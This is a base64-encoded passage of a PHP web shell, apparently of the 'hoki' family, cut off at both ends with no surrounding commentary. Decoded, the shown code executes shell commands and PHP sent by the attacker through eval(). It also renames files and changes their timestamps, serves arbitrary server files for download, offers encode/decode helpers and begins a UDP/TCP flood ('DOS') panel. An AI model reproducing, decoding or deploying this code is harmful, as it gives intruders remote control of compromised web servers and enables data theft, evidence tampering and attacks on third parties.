a2kzX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7CiRob2tpMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRob2tpMV9kZWNvZGVkKTsKaG9raUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kaG9raTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWydob2tpMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokaG9raTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImhva2kxIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnaG9raTEnXSwgJF9QT1NUWydob2tpMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2hva2k0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kaG9raTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kaG9raTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2hva2k0J10uJyJdLmZpbGUgPSAiJy4kaG9raTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGhva2kxX2VzY2FwZS4nIiwgIicuJGhva2kzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09ICJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnaG9raTQnXS4iJywnIi4kaG9raTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRob2tpMV9lc2NhcGUgPSAkaG9raTNfZXNjYXBlO30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kaG9raTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydob2tpMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2hva2kzJ10pJiYkX1BPU1RbJ2hva2kzJ10hPScnPyRfUE9TVFsnaG9raTMnXTokaG9raTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydob2tpMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydob2tpMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCWhva2lFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CgkkdG91Y2hlZCA9IHRydWU7Cn0KaWYoIUB0b3VjaCgkX1BPU1RbJ2hva2kxJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpCmVjaG8gJ0ZhaWwhJzsKZWxzZQplY2hvICdUb3VjaGVkISc7Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKfQpjbGVhcnN0YXRjYWNoZSgpOwplY2hvICc8c2NyaXB0Pmhva2kzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2hva2kyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06QGZpbGVtdGltZSgkX1BPU1RbJ2hva2kxJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2ltYWdlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKZWNobygnPGhyPicpOwokZmlsZSA9ICRfUE9TVFsnaG9raTEnXTsKJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsKaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7CiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07CiRoZWlnaHQgPSAoaW50KSRpbWFnZV9pbmZvWzFdOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCSRzb3VyY2UgPSBob2tpRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsIGhva2lFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJG1pbWUgPSBleHBsb2RlKCI6IiwgaG9raUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJGltYWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7Cn0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOwppZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMDt9CmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJTtib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOwp9CmJyZWFrOwp9CmVjaG8gJzwvZGl2Pic7Cmhva2lGb290ZXIoKTsKfQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7CiRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsKJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGxzeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6JywnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2hva2knLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2JywnYXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7CmlmKCR0eXBlIT0nZmlsZScpewpyZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsKfWVsc2V7CiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7CiRleHQgPSBlbmQoJGV4dCk7CiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7Cn0KfQpmdW5jdGlvbiBob2tpZGxmaWxlKCl7CmlmKGlzc2V0KCRfUE9TVFsnYyddLCRfUE9TVFsnZmlsZSddKSl7CiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOwokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7CiRob2tpX2NhbnJ1bmNtZCA9IF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7CmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydmaWxlJ10pIHx8ICRob2tpX2NhbnJ1bmNtZCl7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWUpLiJcIiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOwoJJHNjcmlwdHBhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOwoJaWYoX2hva2lfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsKCQlob2tpRXgoImNwICciLmFkZHNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7CgkJQHVubGluaygkZmlsZXBhdGgpOwoJfWVsc2V7CgkJaG9raUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIiciKTsKCX0KfWVsc2V7CglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7Cn0KfWVsc2UgZWNobygnRXJyb3IuLi4hJyk7fX0KZnVuY3Rpb24gX19ob2tpX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsKCSRfQ09PS0lFWyRrZXldID0gJHZhbHVlOwoJQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBob2tpcGhwZXZhbCgpewppZihpc3NldCgkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT09LSUVbImV2YWxfdG1wZGlyIl0pKXsKCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsKfWVsc2V7CgkkdGVtcGRpciA9IGRpcm5hbWUoaG9raUV4KCJta3RlbXAiKSk7CglfX2hva2lfc2V0X2Nvb2tpZSgiZXZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQpob2tpaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2hva2kyJ10pICYmICgkX1BPU1RbJ2hva2kyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydob2tpMiddKSAmJiAoJF9QT1NUWydob2tpMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpOwokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2hva2kyJ10pICYmICgkX1BPU1RbJ2hva2kyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImhva2kzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ldmFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2hva2lfbG9hZF9hY2Vfb3B0aW9ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydob2tpMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBob2tpICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2VudGVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2hva2kxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkpewppZigkX1BPU1RbJ2hva2kzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnaG9raTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfaG9raV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CgkkbGFuZyA9ICRfUE9TVFsnaG9raTMnXTsKCSRmaWxlbmFtZSA9ICJ0ZW1wIi5yYW5kKDExMTExLDk5OTk5KTsKCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZSA7CglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2hva2kxJ10pOwoJJHJlc3VsdCA9IGhva2lFeCgibXYgeyRmaWxlbmFtZX0geyR0ZW1wfTt7JGxhbmd9IHskdGVtcH07cm0gLWYgeyR0ZW1wfSIpOwoJQHVubGluaygkZmlsZW5hbWUpOwoJQHVubGluaygkdGVtcCk7Cn0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsKfQplY2hvICc8L3ByZT48L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWhhc2goKXsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjRfZW5jb2RlICggJHN0cmluZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsCidCYXNlNjRfZGVjb2RlICggJHN0cmluZyApJyA9PiAnX19aR1ZqYjJSbGNnKCRzKScsCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywKJ2JpbjJoZXggKCAkc3RyaW5nICknPT4gJ2JpbjJoZXgoJHMpJywKJ2hleDJiaW4gKCAkc3RyaW5nICknID0+ICdoZXgyYmluKCRzKScsCidtZDUgKCAkc3RyaW5nICknID0+ICdtZDUoJHMpJywKJ3NoYTEgKCAkc3RyaW5nICknID0+ICdzaGExKCRzKScsCidoYXNoICggInNoYTI1MSIsICRzdHJpbmcgKSAtLT4gc2hhMjUxJyA9PiAnaGFzaCgic2hhMjU2IiwkcyknLAonaGFzaCAoICJzaGEzODQiLCAkc3RyaW5nICkgLS0+IHNoYTM4NCcgPT4gJ2hhc2goInNoYTM4NCIsJHMpJywKJ2hhc2ggKCAic2hhNTEyIiwgJHN0cmluZyApIC0tPiBzaGE1MTInID0+ICdoYXNoKCJzaGE1MTIiLCRzKScsCidjcnlwdCAoICRzdHJpbmcgKScgPT4gJ2NyeXB0KCRzKScsCidjcmMzMiAoICRzdHJpbmcgKScgPT4gJ2NyYzMyKCRzKScsCidzdHJfcm90MTMgKCAkc3RyaW5nICknID0+ICdzdHJfcm90MTMoJHMpJywKJ3VybGVuY29kZSAoICRzdHJpbmcgKScgPT4gJ3VybGVuY29kZSgkcyknLAondXJsZGVjb2RlICAoICRzdHJpbmcgKScgPT4gJ3VybGRlY29kZSgkcyknLAonZnVsbF91cmxlbmNvZGUgICggJHN0cmluZyApJyA9PiAnZnVsbF91cmxlbmNvZGUoJHMpJywKJ2h0bWxzcGVjaWFsY2hhcnMgICggJHN0cmluZyApJyA9PiAnaHRtbHNwZWNpYWxjaGFycygkcyknLAonYmFzZTY0X2VuY29kZSAoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpIC0tPiBFbmNvZGUnID0+ICdfX1pXNWpiMlJsY2coZ3pkZWZsYXRlKCRzLCA5KSknLAonZ3ppbmZsYXRlIChiYXNlNjRfZGVjb2RlKCAkc3RyaW5nICkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkcykpJywKJ3N0cl9yb3QxMyAoYmFzZTY0X2VuY29kZSggJHN0cmluZyApKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZygkcykpJywKJ2Jhc2U2NF9kZWNvZGUgKHN0cl9yb3QxMyggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnX19aR1ZqYjJSbGNnKHN0cl9yb3QxMygkcykpJywKJ3N0cl9yb3QxMyAoYmFzZTY0X2VuY29kZShnemRlZmxhdGUoICRzdHJpbmcgLCA5KSkpIC0tPiBFbmNvZGUnID0+ICdzdHJfcm90MTMoX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcyw5KSkpJywKJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZShzdHJfcm90MTMoICRzdHJpbmcgKSkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKSknLAopOwpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwplY2hvICI8Zm9ybSBvblN1Ym1pdD0nZyhcImhhc2hcIixudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48ZGl2IGNsYXNzPSd0eHRmb250Jz5NZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCcgc3R5bGU9J3dpZHRoOjQwMHB4Oyc+IjsKZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCmVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIicgIi4oJF9QT1NUWydob2tpMSddPT0kdj8nc2VsZWN0ZWQnOicnKS4iPiIuJGsuIjwvb3B0aW9uPiI7CmVjaG8gIjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcvPjxicj48dGV4dGFyZWEgIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdiaWdhcmVhJz4iLihlbXB0eSgkX1BPU1RbJ2hva2kxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnaG9raTInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT4iOwppZighZW1wdHkoJF9QT1NUWydob2tpMSddKSl7CiRzdHJpbmcgPSBhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSk7CiRzdHJpbmcgPSBzdHJfcmVwbGFjZSgnXCInLCciJywkc3RyaW5nKTsKJGFsZyA9ICRfUE9TVFsnaG9raTEnXTsKJGNvZGUgPSBzdHJfcmVwbGFjZSgnJHMnLCInIi4kc3RyaW5nLiInIiwkYWxnKTsKb2Jfc3RhcnQoKTsKZXZhbCgnZWNobyAnLiRjb2RlLic7Jyk7CiRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsKb2JfZW5kX2NsZWFuKCk7CmlmKGluX2FycmF5KCRhbGcsICRzdHJpbmdUb29scykpZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHJlcykuJzwvdGV4dGFyZWE+JzsKfQplY2hvICI8L2Rpdj4iOwpob2tpRm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWRvcygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERPUyB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJnKFwnZG9zXCcsbnVsbCx0aGlzLmhvc3QudmFsdWUsdGhpcy50aW1lLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLm0udmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXRob2QgOiA8c2VsZWN0IG5hbWU9Im0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PG9wdGlvbiB2YWx1ZT0idWRwIj5VRFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0Y3AiPlRDUDwvb3B0aW9uPjwvc2VsZWN0PiBIb3N0IDog